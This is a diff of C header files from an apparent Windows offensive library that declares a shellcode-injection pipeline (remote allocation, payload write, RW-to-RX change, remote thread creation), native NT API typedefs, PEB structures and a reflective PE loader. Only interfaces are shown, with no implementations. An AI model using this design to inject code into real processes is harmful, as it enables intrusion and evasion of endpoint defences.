SND_FORCE_INLINE void snd_wcsncpy(wchar_t *dest, size_t dest_size, const wchar_t *src, size_t max_src_len) {
|
||||||
|
if (!dest || dest_size == 0 || !src)
|
||||||
|
return;
|
||||||
|
size_t i = 0;
|
||||||
|
while (i < (dest_size - 1) && i < max_src_len && src[i] != L'\0') {
|
||||||
|
dest[i] = src[i];
|
||||||
|
i++;
|
||||||
|
}
|
||||||
|
dest[i] = L'\0';
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Bounded, CRT-independent wide string concatenation. Replaces wcsncat.
|
||||||
|
*/
|
||||||
|
SND_FORCE_INLINE void snd_wcsncat(wchar_t *dest, size_t dest_size, const wchar_t *src, size_t max_src_len) {
|
||||||
|
if (!dest || dest_size == 0 || !src)
|
||||||
|
return;
|
||||||
|
size_t dest_len = 0;
|
||||||
|
while (dest_len < dest_size && dest[dest_len] != L'\0') {
|
||||||
|
dest_len++;
|
||||||
|
}
|
||||||
|
if (dest_len >= dest_size - 1) {
|
||||||
|
dest[dest_size - 1] = L'\0';
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
size_t i = 0;
|
||||||
|
while (i < max_src_len && src[i] != L'\0' && (dest_len + i) < (dest_size - 1)) {
|
||||||
|
dest[dest_len + i] = src[i];
|
||||||
|
i++;
|
||||||
|
}
|
||||||
|
dest[dest_len + i] = L'\0';
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Bounded ASCII to Wide string conversion. Replaces mbstowcs.
|
||||||
|
*/
|
||||||
|
SND_FORCE_INLINE void snd_ascii_to_wide(wchar_t *dest, size_t dest_size, const char *src, size_t max_src_len) {
|
||||||
|
if (!dest || dest_size == 0 || !src)
|
||||||
|
return;
|
||||||
|
size_t i = 0;
|
||||||
|
while (i < (dest_size - 1) && i < max_src_len && src[i] != '\0') {
|
||||||
|
dest[i] = (wchar_t)(unsigned char)src[i];
|
||||||
|
i++;
|
||||||
|
}
|
||||||
|
dest[i] = L'\0';
|
||||||
|
}
|
||||||
|
|
||||||
|
SND_END_EXTERN_C
|
||||||
|
|
||||||
|
#endif // SND_COMMON_STRING_H
|
||||||
@@ -0,0 +1,8 @@
|
|||||||
|
#ifndef SND_INJECTION_H
|
||||||
|
#define SND_INJECTION_H
|
||||||
|
|
||||||
|
#include <sindri/injection/classic/chain.h>
|
||||||
|
#include <sindri/injection/classic/engine.h>
|
||||||
|
#include <sindri/injection/context.h>
|
||||||
|
|
||||||
|
#endif // SND_INJECTION_H
|
||||||
@@ -0,0 +1,7 @@
|
|||||||
|
#ifndef SND_INJECTION_CLASSIC_H
|
||||||
|
#define SND_INJECTION_CLASSIC_H
|
||||||
|
|
||||||
|
#include <sindri/injection/classic/chain.h>
|
||||||
|
#include <sindri/injection/classic/engine.h>
|
||||||
|
|
||||||
|
#endif // SND_INJECTION_CLASSIC_H
|
||||||
@@ -0,0 +1,37 @@
|
|||||||
|
#ifndef SND_INJECTION_CLASSIC_CHAIN_H
|
||||||
|
#define SND_INJECTION_CLASSIC_CHAIN_H
|
||||||
|
|
||||||
|
#include <sindri/common/macros.h>
|
||||||
|
#include <sindri/injection/classic/engine.h>
|
||||||
|
#include <sindri/injection/context.h>
|
||||||
|
|
||||||
|
SND_BEGIN_EXTERN_C
|
||||||
|
|
||||||
|
// Forward declare the loader context so we don't have to include the loader module
|
||||||
|
typedef struct _snd_ldr_pe_ctx snd_ldr_pe_ctx_t;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Executes the full classic injection pipeline.
|
||||||
|
*
|
||||||
|
* Runs: open_target -> alloc_remote -> write_payload -> set_protections -> execute.
|
||||||
|
*
|
||||||
|
* @param ctx Initialized injection context with target_pid, payload, and proc_api set.
|
||||||
|
* @return SND_OK on success, otherwise the failing stage status.
|
||||||
|
*/
|
||||||
|
snd_status_t snd_inj_classic_shell(snd_inj_ctx_t *ctx);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief High-level orchestrator that links a loader context and an injection context.
|
||||||
|
*
|
||||||
|
* The user initializes both contexts with their desired API backends, and this
|
||||||
|
* chain handles the inter-context data marshaling and execution flow.
|
||||||
|
*
|
||||||
|
* @param ldr_ctx Initialized PE loader context with raw_source, mem_api, and mod_api set.
|
||||||
|
* @param inj_ctx Initialized injection context with target_pid, and proc_api set.
|
||||||
|
* @return SND_OK on success, otherwise the failing stage status.
|
||||||
|
*/
|
||||||
|
snd_status_t snd_inj_classic_pe(snd_ldr_pe_ctx_t *ldr_ctx, snd_inj_ctx_t *inj_ctx);
|
||||||
|
|
||||||
|
SND_END_EXTERN_C
|
||||||
|
|
||||||
|
#endif // SND_INJECTION_CLASSIC_CHAIN_H
|
||||||
@@ -0,0 +1,47 @@
|
|||||||
|
#ifndef SND_INJECTION_CLASSIC_ENGINE_H
|
||||||
|
#define SND_INJECTION_CLASSIC_ENGINE_H
|
||||||
|
|
||||||
|
#include <sindri/common/macros.h>
|
||||||
|
#include <sindri/common/status.h>
|
||||||
|
#include <sindri/injection/context.h>
|
||||||
|
|
||||||
|
SND_BEGIN_EXTERN_C
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Opens a handle to the target process.
|
||||||
|
* @param ctx Initialized injection context with target_pid and proc_api set.
|
||||||
|
* @return SND_OK on success, otherwise SND_STATUS_PROCESS_OPEN_FAILED.
|
||||||
|
*/
|
||||||
|
snd_status_t snd_inj_classic_open_target(snd_inj_ctx_t *ctx);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Allocates memory in the remote process for the payload.
|
||||||
|
* @param ctx Context after SND_INJ_STAGE_TARGET_ACQUIRED.
|
||||||
|
* @return SND_OK on success, otherwise SND_STATUS_REMOTE_ALLOC_FAILED.
|
||||||
|
*/
|
||||||
|
snd_status_t snd_inj_classic_alloc_remote(snd_inj_ctx_t *ctx);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Writes the payload buffer into the allocated remote memory.
|
||||||
|
* @param ctx Context after SND_INJ_STAGE_MEMORY_ALLOCATED.
|
||||||
|
* @return SND_OK on success, otherwise SND_STATUS_REMOTE_WRITE_FAILED.
|
||||||
|
*/
|
||||||
|
snd_status_t snd_inj_classic_write_payload(snd_inj_ctx_t *ctx);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Transitions remote memory protections from RW to RX.
|
||||||
|
* @param ctx Context after SND_INJ_STAGE_PAYLOAD_WRITTEN.
|
||||||
|
* @return SND_OK on success, otherwise SND_STATUS_REMOTE_PROTECT_FAILED.
|
||||||
|
*/
|
||||||
|
snd_status_t snd_inj_classic_set_protections(snd_inj_ctx_t *ctx);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Creates a remote thread at the payload base to execute the shellcode.
|
||||||
|
* @param ctx Context after SND_INJ_STAGE_PROTECTIONS_SET.
|
||||||
|
* @return SND_OK on success, otherwise SND_STATUS_THREAD_CREATE_FAILED.
|
||||||
|
*/
|
||||||
|
snd_status_t snd_inj_classic_execute(snd_inj_ctx_t *ctx);
|
||||||
|
|
||||||
|
SND_END_EXTERN_C
|
||||||
|
|
||||||
|
#endif // SND_INJECTION_CLASSIC_ENGINE_H
|
||||||
@@ -0,0 +1,47 @@
|
|||||||
|
#ifndef SND_INJECTION_CONTEXT_H
|
||||||
|
#define SND_INJECTION_CONTEXT_H
|
||||||
|
|
||||||
|
#include <sindri/common/buffer.h>
|
||||||
|
#include <sindri/common/debug.h>
|
||||||
|
#include <sindri/common/macros.h>
|
||||||
|
#include <sindri/primitives/os_api.h>
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
SND_BEGIN_EXTERN_C
|
||||||
|
|
||||||
|
typedef enum {
|
||||||
|
SND_INJ_STAGE_UNINITIALIZED = 0,
|
||||||
|
SND_INJ_STAGE_TARGET_ACQUIRED,
|
||||||
|
SND_INJ_STAGE_MEMORY_ALLOCATED,
|
||||||
|
SND_INJ_STAGE_PAYLOAD_WRITTEN,
|
||||||
|
SND_INJ_STAGE_PROTECTIONS_SET,
|
||||||
|
SND_INJ_STAGE_EXECUTED,
|
||||||
|
} snd_inj_stage_t;
|
||||||
|
|
||||||
|
typedef struct _snd_inj_ctx_t {
|
||||||
|
DWORD target_pid;
|
||||||
|
HANDLE target_process;
|
||||||
|
PVOID remote_base;
|
||||||
|
PVOID remote_entry_point;
|
||||||
|
SIZE_T remote_size;
|
||||||
|
HANDLE remote_thread;
|
||||||
|
|
||||||
|
snd_inj_stage_t stage;
|
||||||
|
|
||||||
|
const snd_buffer_t *payload;
|
||||||
|
const snd_process_api_t *proc_api;
|
||||||
|
} snd_inj_ctx_t;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Converts an injection stage enum to a human-readable string.
|
||||||
|
*/
|
||||||
|
const char *snd_inj_stage_to_string(snd_inj_stage_t stage);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Cleans up injection context: closes handles, resets state.
|
||||||
|
*/
|
||||||
|
void snd_inj_cleanup(snd_inj_ctx_t *ctx);
|
||||||
|
|
||||||
|
SND_END_EXTERN_C
|
||||||
|
|
||||||
|
#endif // SND_INJECTION_CONTEXT_H
|
||||||
@@ -0,0 +1,8 @@
|
|||||||
|
#ifndef SINDRI_INTERNAL_NT_H
|
||||||
|
#define SINDRI_INTERNAL_NT_H
|
||||||
|
|
||||||
|
#include <sindri/internal/nt/api.h>
|
||||||
|
#include <sindri/internal/nt/peb.h>
|
||||||
|
#include <sindri/internal/nt/types.h>
|
||||||
|
|
||||||
|
#endif // SINDRI_INTERNAL_NT_H
|
||||||
@@ -0,0 +1,75 @@
|
|||||||
|
#ifndef SND_INTERNAL_NT_API_H
|
||||||
|
#define SND_INTERNAL_NT_API_H
|
||||||
|
|
||||||
|
#include <sindri/common/macros.h>
|
||||||
|
#include <sindri/internal/nt/types.h>
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
SND_BEGIN_EXTERN_C
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Type definition for LdrLoadDll function.
|
||||||
|
*/
|
||||||
|
typedef NTSTATUS(NTAPI *SND_LdrLoadDll_t)(PWSTR PathToFile, PULONG Flags, PSND_UNICODE_STRING ModuleFileName,
|
||||||
|
PHANDLE ModuleHandle);
|
||||||
|
|
||||||
|
/*
|
||||||
|
* @brief Type definition for NtOpenSection function.
|
||||||
|
*/
|
||||||
|
typedef NTSTATUS(NTAPI *SND_NtOpenSection_t)(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess,
|
||||||
|
PSND_OBJECT_ATTRIBUTES ObjectAttributes);
|
||||||
|
|
||||||
|
/*
|
||||||
|
* @brief Type definition for NtMapViewOfSection function.
|
||||||
|
*/
|
||||||
|
typedef NTSTATUS(NTAPI *SND_NtMapViewOfSection_t)(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID *BaseAddress,
|
||||||
|
ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset,
|
||||||
|
PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType,
|
||||||
|
ULONG Win32Protect);
|
||||||
|
|
||||||
|
/*
|
||||||
|
* @brief Type definition for NtClose function.
|
||||||
|
*/
|
||||||
|
typedef NTSTATUS(NTAPI *SND_NtClose_t)(HANDLE Handle);
|
||||||
|
|
||||||
|
/*
|
||||||
|
* @brief Type definition for NtAllocateVirtualMemory function.
|
||||||
|
*/
|
||||||
|
typedef NTSTATUS(NTAPI *SND_NtAllocateVirtualMemory_t)(HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits,
|
||||||
|
SIZE_T *Size, ULONG AllocationType, ULONG Win32Protect);
|
||||||
|
|
||||||
|
/*
|
||||||
|
* @brief Type definition for NtProtectVirtualMemory function.
|
||||||
|
*/
|
||||||
|
typedef NTSTATUS(NTAPI *SND_NtProtectVirtualMemory_t)(HANDLE ProcessHandle, PVOID *BaseAddress, PSIZE_T RegionSize,
|
||||||
|
ULONG NewProtect, PULONG OldProtect);
|
||||||
|
|
||||||
|
/*
|
||||||
|
* @brief Type definition for NtFreeVirtualMemory function.
|
||||||
|
*/
|
||||||
|
typedef NTSTATUS(NTAPI *SND_NtFreeVirtualMemory_t)(HANDLE ProcessHandle, PVOID *BaseAddress, PSIZE_T RegionSize,
|
||||||
|
ULONG FreeType);
|
||||||
|
|
||||||
|
/*
|
||||||
|
* @brief Type definition for NtOpenProcess function.
|
||||||
|
*/
|
||||||
|
typedef NTSTATUS(NTAPI *SND_NtOpenProcess_t)(HANDLE *ProcessHandle, ACCESS_MASK DesiredAccess, PVOID ObjectAttributes,
|
||||||
|
PVOID ClientId);
|
||||||
|
|
||||||
|
/*
|
||||||
|
* @brief Type definition for NtWriteVirtualMemory function.
|
||||||
|
*/
|
||||||
|
typedef NTSTATUS(NTAPI *SND_NtWriteVirtualMemory_t)(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, SIZE_T Size,
|
||||||
|
SIZE_T *NumberOfBytesWritten);
|
||||||
|
|
||||||
|
/*
|
||||||
|
* @brief Type definition for NtCreateThreadEx function.
|
||||||
|
*/
|
||||||
|
typedef NTSTATUS(NTAPI *SND_NtCreateThreadEx_t)(HANDLE *ThreadHandle, ACCESS_MASK DesiredAccess, PVOID ObjectAttributes,
|
||||||
|
HANDLE ProcessHandle, PVOID StartRoutine, PVOID Argument,
|
||||||
|
ULONG CreateFlags, SIZE_T ZeroBits, SIZE_T StackSize,
|
||||||
|
SIZE_T MaximumStackSize, PVOID AttributeList);
|
||||||
|
|
||||||
|
SND_END_EXTERN_C
|
||||||
|
|
||||||
|
#endif // SND_INTERNAL_NT_API_H
|
||||||
@@ -0,0 +1,77 @@
|
|||||||
|
#ifndef SND_INTERNAL_NT_DEFS_H
|
||||||
|
#define SND_INTERNAL_NT_DEFS_H
|
||||||
|
|
||||||
|
#include <sindri/common/macros.h>
|
||||||
|
#include <sindri/internal/nt/types.h>
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
SND_BEGIN_EXTERN_C
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief A basic representation of the current directory struct to align memory block layouts.
|
||||||
|
*/
|
||||||
|
typedef struct _SND_CURDIR {
|
||||||
|
SND_UNICODE_STRING DosPath;
|
||||||
|
HANDLE Handle;
|
||||||
|
} SND_CURDIR, *PSND_CURDIR;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Process parameters structure containing environment configuration details.
|
||||||
|
*/
|
||||||
|
typedef struct _SND_RTL_USER_PROCESS_PARAMETERS {
|
||||||
|
ULONG MaximumLength;
|
||||||
|
ULONG Length;
|
||||||
|
ULONG Flags;
|
||||||
|
ULONG DebugFlags;
|
||||||
|
HANDLE ConsoleHandle;
|
||||||
|
ULONG ConsoleFlags;
|
||||||
|
HANDLE StandardInput;
|
||||||
|
HANDLE StandardOutput;
|
||||||
|
HANDLE StandardError;
|
||||||
|
SND_CURDIR CurrentDirectory;
|
||||||
|
SND_UNICODE_STRING DllPath;
|
||||||
|
SND_UNICODE_STRING ImagePathName;
|
||||||
|
SND_UNICODE_STRING CommandLine;
|
||||||
|
PVOID Environment;
|
||||||
|
} SND_RTL_USER_PROCESS_PARAMETERS, *PSND_RTL_USER_PROCESS_PARAMETERS;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief PEB loader data structure.
|
||||||
|
*/
|
||||||
|
typedef struct _SND_PEB_LDR_DATA {
|
||||||
|
ULONG Length;
|
||||||
|
BYTE Reserved[8];
|
||||||
|
LIST_ENTRY InLoadOrderModuleList;
|
||||||
|
LIST_ENTRY InMemoryOrderModuleList;
|
||||||
|
LIST_ENTRY InInitializationOrderModuleList;
|
||||||
|
} SND_PEB_LDR_DATA, *PSND_PEB_LDR_DATA;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Loader data table entry for module tracking.
|
||||||
|
*/
|
||||||
|
typedef struct _SND_LDR_DATA_TABLE_ENTRY {
|
||||||
|
LIST_ENTRY InLoadOrderLinks;
|
||||||
|
LIST_ENTRY InMemoryOrderLinks;
|
||||||
|
LIST_ENTRY InInitializationOrderLinks;
|
||||||
|
PVOID DllBase;
|
||||||
|
PVOID EntryPoint;
|
||||||
|
ULONG SizeOfImage;
|
||||||
|
SND_UNICODE_STRING FullDllName;
|
||||||
|
SND_UNICODE_STRING BaseDllName;
|
||||||
|
} SND_LDR_DATA_TABLE_ENTRY, *PSND_LDR_DATA_TABLE_ENTRY;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Process Environment Block (PEB) definition.
|
||||||
|
*/
|
||||||
|
typedef struct _SND_PEB {
|
||||||
|
BYTE Reserved1[2];
|
||||||
|
BYTE BeingDebugged;
|
||||||
|
BYTE Reserved2[1];
|
||||||
|
PVOID Reserved3[2];
|
||||||
|
PSND_PEB_LDR_DATA Ldr;
|
||||||
|
PSND_RTL_USER_PROCESS_PARAMETERS ProcessParameters;
|
||||||
|
} SND_PEB, *PSND_PEB;
|
||||||
|
|
||||||
|
SND_END_EXTERN_C
|
||||||
|
|
||||||
|
#endif // SND_INTERNAL_NT_DEFS_H
|
||||||
@@ -0,0 +1,77 @@
|
|||||||
|
#ifndef SND_INTERN_NT_TYPES_H
|
||||||
|
#define SND_INTERN_NT_TYPES_H
|
||||||
|
|
||||||
|
#include <sindri/common/macros.h>
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
SND_BEGIN_EXTERN_C
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Macro to check if an NTSTATUS indicates success.
|
||||||
|
*/
|
||||||
|
#define SND_NT_SUCCESS(s) (((NTSTATUS)(s)) >= 0)
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Object attribute flag indicating case-insensitive object names.
|
||||||
|
*/
|
||||||
|
#define SND_OBJ_CASE_INSENSITIVE 0x00000040L
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Page size used in memory allocations.
|
||||||
|
*/
|
||||||
|
#define SND_PAGE_SIZE ((SIZE_T)0x1000)
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Initializes an SND_OBJECT_ATTRIBUTES structure.
|
||||||
|
*/
|
||||||
|
#define SND_InitializeObjectAttributes(p, n, a, r, s) \
|
||||||
|
{ \
|
||||||
|
(p)->Length = sizeof(SND_OBJECT_ATTRIBUTES); \
|
||||||
|
(p)->RootDirectory = r; \
|
||||||
|
(p)->Attributes = a; \
|
||||||
|
(p)->ObjectName = n; \
|
||||||
|
(p)->SecurityDescriptor = s; \
|
||||||
|
(p)->SecurityQualityOfService = NULL; \
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Represents a Unicode string in the NT environment.
|
||||||
|
*/
|
||||||
|
typedef struct _SND_UNICODE_STRING {
|
||||||
|
USHORT Length;
|
||||||
|
USHORT MaximumLength;
|
||||||
|
PWSTR Buffer;
|
||||||
|
} SND_UNICODE_STRING, *PSND_UNICODE_STRING;
|
||||||
|
|
||||||
|
typedef struct _SND_OBJECT_ATTRIBUTES {
|
||||||
|
ULONG Length;
|
||||||
|
HANDLE RootDirectory;
|
||||||
|
PSND_UNICODE_STRING ObjectName;
|
||||||
|
ULONG Attributes;
|
||||||
|
PVOID SecurityDescriptor;
|
||||||
|
PVOID SecurityQualityOfService;
|
||||||
|
} SND_OBJECT_ATTRIBUTES, *PSND_OBJECT_ATTRIBUTES;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Client ID structure.
|
||||||
|
*/
|
||||||
|
typedef struct _SND_CLIENT_ID {
|
||||||
|
HANDLE UniqueProcess;
|
||||||
|
HANDLE UniqueThread;
|
||||||
|
} SND_CLIENT_ID, *PSND_CLIENT_ID;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Initializes a UNICODE_STRING structure from a wide string buffer and length.
|
||||||
|
* Replaces RtlInitUnicodeString.
|
||||||
|
*/
|
||||||
|
SND_FORCE_INLINE void snd_init_unicode_string(SND_UNICODE_STRING *us, const wchar_t *buf, size_t char_count) {
|
||||||
|
if (us) {
|
||||||
|
us->Buffer = (wchar_t *)buf;
|
||||||
|
us->Length = (USHORT)(char_count * sizeof(wchar_t));
|
||||||
|
us->MaximumLength = us->Length + sizeof(wchar_t);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
SND_END_EXTERN_C
|
||||||
|
|
||||||
|
#endif // SND_INTERNAL_NT_TYPES_H
|
||||||
@@ -1,92 +0,0 @@
|
|||||||
#ifndef SND_INTERNAL_NT_DEFS_H
|
|
||||||
#define SND_INTERNAL_NT_DEFS_H
|
|
||||||
#include <sindri/common/helpers.h>
|
|
||||||
#include <windows.h>
|
|
||||||
|
|
||||||
SND_BEGIN_EXTERN_C
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @brief Macro to check if an NTSTATUS indicates success.
|
|
||||||
*/
|
|
||||||
#ifndef NT_SUCCESS
|
|
||||||
#define NT_SUCCESS(s) (((NTSTATUS)(s)) >= 0)
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#define SND_OBJ_CASE_INSENSITIVE 0x00000040L
|
|
||||||
#define SND_PAGE_SIZE ((SIZE_T)0x1000)
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @brief Represents a Unicode string in the NT environment.
|
|
||||||
*/
|
|
||||||
typedef struct _SND_UNICODE_STRING {
|
|
||||||
USHORT Length; // In BYTES
|
|
||||||
USHORT MaximumLength; // In BYTES
|
|
||||||
PWSTR Buffer;
|
|
||||||
} SND_UNICODE_STRING, *PSND_UNICODE_STRING;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @brief PEB loader data structure.
|
|
||||||
*/
|
|
||||||
typedef struct _SND_PEB_LDR_DATA {
|
|
||||||
ULONG Length;
|
|
||||||
BYTE Reserved[8];
|
|
||||||
LIST_ENTRY InLoadOrderModuleList;
|
|
||||||
LIST_ENTRY InMemoryOrderModuleList;
|
|
||||||
LIST_ENTRY InInitializationOrderModuleList;
|
|
||||||
} SND_PEB_LDR_DATA, *PSND_PEB_LDR_DATA;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @brief Process Environment Block (PEB) definition.
|
|
||||||
*/
|
|
||||||
typedef struct _SND_PEB {
|
|
||||||
BYTE Reserved1[2];
|
|
||||||
BYTE BeingDebugged;
|
|
||||||
BYTE Reserved2[1];
|
|
||||||
PVOID Reserved3[2];
|
|
||||||
PSND_PEB_LDR_DATA Ldr;
|
|
||||||
} SND_PEB, *PSND_PEB;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @brief Loader data table entry for module tracking.
|
|
||||||
*/
|
|
||||||
typedef struct _SND_LDR_DATA_TABLE_ENTRY {
|
|
||||||
LIST_ENTRY InLoadOrderLinks;
|
|
||||||
LIST_ENTRY InMemoryOrderLinks;
|
|
||||||
LIST_ENTRY InInitializationOrderLinks;
|
|
||||||
PVOID DllBase;
|
|
||||||
PVOID EntryPoint;
|
|
||||||
ULONG SizeOfImage;
|
|
||||||
SND_UNICODE_STRING FullDllName;
|
|
||||||
SND_UNICODE_STRING BaseDllName;
|
|
||||||
} SND_LDR_DATA_TABLE_ENTRY, *PSND_LDR_DATA_TABLE_ENTRY;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @brief Type definition for LdrLoadDll function (ntdll native loader, no
|
|
||||||
* kernel32 required).
|
|
||||||
*/
|
|
||||||
typedef NTSTATUS(NTAPI *LdrLoadDll_t)(PWSTR PathToFile, // optional search path (NULL = default)
|
|
||||||
PULONG Flags, // optional flags (NULL = 0)
|
|
||||||
PSND_UNICODE_STRING ModuleFileName, PHANDLE ModuleHandle);
|
|
||||||
|
|
||||||
typedef struct _SND_OBJECT_ATTRIBUTES {
|
|
||||||
ULONG Length;
|
|
||||||
HANDLE RootDirectory;
|
|
||||||
PSND_UNICODE_STRING ObjectName;
|
|
||||||
ULONG Attributes;
|
|
||||||
PVOID SecurityDescriptor;
|
|
||||||
PVOID SecurityQualityOfService;
|
|
||||||
} SND_OBJECT_ATTRIBUTES, *PSND_OBJECT_ATTRIBUTES;
|
|
||||||
|
|
||||||
#define SND_InitializeObjectAttributes(p, n, a, r, s) \
|
|
||||||
{ \
|
|
||||||
(p)->Length = sizeof(SND_OBJECT_ATTRIBUTES); \
|
|
||||||
(p)->RootDirectory = r; \
|
|
||||||
(p)->Attributes = a; \
|
|
||||||
(p)->ObjectName = n; \
|
|
||||||
(p)->SecurityDescriptor = s; \
|
|
||||||
(p)->SecurityQualityOfService = NULL; \
|
|
||||||
}
|
|
||||||
|
|
||||||
SND_END_EXTERN_C
|
|
||||||
|
|
||||||
#endif // SND_INTERNAL_NT_DEFS_H
|
|
||||||
@@ -1,7 +1,6 @@
|
|||||||
#ifndef SND_LOADERS_H
|
#ifndef SND_LOADERS_H
|
||||||
#define SND_LOADERS_H
|
#define SND_LOADERS_H
|
||||||
|
|
||||||
#include <sindri/loaders/knowndlls/knowndlls.h>
|
|
||||||
#include <sindri/loaders/reflective/chain.h>
|
#include <sindri/loaders/reflective/chain.h>
|
||||||
#include <sindri/loaders/reflective/engine.h>
|
#include <sindri/loaders/reflective/engine.h>
|
||||||
|
|
||||||
|
|||||||
@@ -1,57 +0,0 @@
|
|||||||
#ifndef SND_LOADERS_KNOWNDLLS_H
|
|
||||||
#define SND_LOADERS_KNOWNDLLS_H
|
|
||||||
|
|
||||||
#include <sindri/common/helpers.h>
|
|
||||||
#include <sindri/common/status.h>
|
|
||||||
#include <sindri/internal/nt_defs.h>
|
|
||||||
#include <windows.h>
|
|
||||||
|
|
||||||
SND_BEGIN_EXTERN_C
|
|
||||||
|
|
||||||
#if defined(_WIN64)
|
|
||||||
#define SND_TARGET_KNOWNDLLS_DIR L"\\KnownDlls\\"
|
|
||||||
#elif defined(_WIN32)
|
|
||||||
#define SND_TARGET_KNOWNDLLS_DIR L"\\KnownDlls32\\"
|
|
||||||
#else
|
|
||||||
#error "Unsupported architecture: SindriKit requires _WIN32 or _WIN64"
|
|
||||||
#endif
|
|
||||||
|
|
||||||
typedef snd_status_t(WINAPI *snd_knowndlls_open_section_cb)(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess,
|
|
||||||
PSND_OBJECT_ATTRIBUTES ObjectAttributes);
|
|
||||||
|
|
||||||
typedef snd_status_t(WINAPI *snd_knowndlls_map_view_cb)(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID *BaseAddress,
|
|
||||||
ULONG_PTR ZeroBits, SIZE_T CommitSize,
|
|
||||||
PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize,
|
|
||||||
DWORD InheritDisposition, ULONG AllocationType,
|
|
||||||
ULONG Win32Protect);
|
|
||||||
|
|
||||||
typedef snd_status_t(WINAPI *snd_knowndlls_close_cb)(HANDLE Handle);
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @brief Configuration structure for the KnownDlls loader mapping technique.
|
|
||||||
*/
|
|
||||||
typedef struct {
|
|
||||||
snd_knowndlls_open_section_cb open_section;
|
|
||||||
snd_knowndlls_map_view_cb map_view_of_section;
|
|
||||||
snd_knowndlls_close_cb close_handle;
|
|
||||||
} snd_knowndlls_config_t;
|
|
||||||
|
|
||||||
// Expose the available configurations to the caller
|
|
||||||
extern const snd_knowndlls_config_t snd_knowndlls_win;
|
|
||||||
extern const snd_knowndlls_config_t snd_knowndlls_native;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @brief Maps a module from the \KnownDlls object directory into memory.
|
|
||||||
*
|
|
||||||
* @param config Pointer to the injected API configuration (Win32 or Native).
|
|
||||||
* @param dll_name The exact name of the DLL in the KnownDlls directory (e.g.,
|
|
||||||
* L"ntdll.dll").
|
|
||||||
* @param out_base_address Pointer to receive the base address of the mapped
|
|
||||||
* section.
|
|
||||||
* @return SND_OK on success, or an error code on failure.
|
|
||||||
*/
|
|
||||||
snd_status_t snd_map_knowndll(const snd_knowndlls_config_t *config, const wchar_t *dll_name, PVOID *out_base_address);
|
|
||||||
|
|
||||||
SND_END_EXTERN_C
|
|
||||||
|
|
||||||
#endif // SND_LOADERS_KNOWNDLLS_H
|
|
||||||
@@ -0,0 +1,7 @@
|
|||||||
|
#ifndef SND_LOADERS_REFLECTIVE_H
|
||||||
|
#define SND_LOADERS_REFLECTIVE_H
|
||||||
|
|
||||||
|
#include <sindri/loaders/reflective/chain.h>
|
||||||
|
#include <sindri/loaders/reflective/engine.h>
|
||||||
|
|
||||||
|
#endif // SND_LOADERS_REFLECTIVE_H
|
||||||
@@ -1,7 +1,7 @@
|
|||||||
#ifndef SND_LOADERS_REFLECTIVE_CHAIN_H
|
#ifndef SND_LOADERS_REFLECTIVE_CHAIN_H
|
||||||
#define SND_LOADERS_REFLECTIVE_CHAIN_H
|
#define SND_LOADERS_REFLECTIVE_CHAIN_H
|
||||||
|
|
||||||
#include <sindri/common/helpers.h>
|
#include <sindri/common/macros.h>
|
||||||
#include <sindri/loaders/reflective/engine.h>
|
#include <sindri/loaders/reflective/engine.h>
|
||||||
|
|
||||||
SND_BEGIN_EXTERN_C
|
SND_BEGIN_EXTERN_C
|
||||||
@@ -14,7 +14,7 @@ SND_BEGIN_EXTERN_C
|
|||||||
* @note Wraps compatibility check, copy, relocation, imports, protections, and
|
* @note Wraps compatibility check, copy, relocation, imports, protections, and
|
||||||
* TLS.
|
* TLS.
|
||||||
*/
|
*/
|
||||||
snd_status_t snd_prepare_reflective_image(snd_loader_ctx_t *ctx);
|
snd_status_t snd_ldr_pe_prepare_image(snd_ldr_pe_ctx_t *ctx);
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @brief Executes the loaded image entry point.
|
* @brief Executes the loaded image entry point.
|
||||||
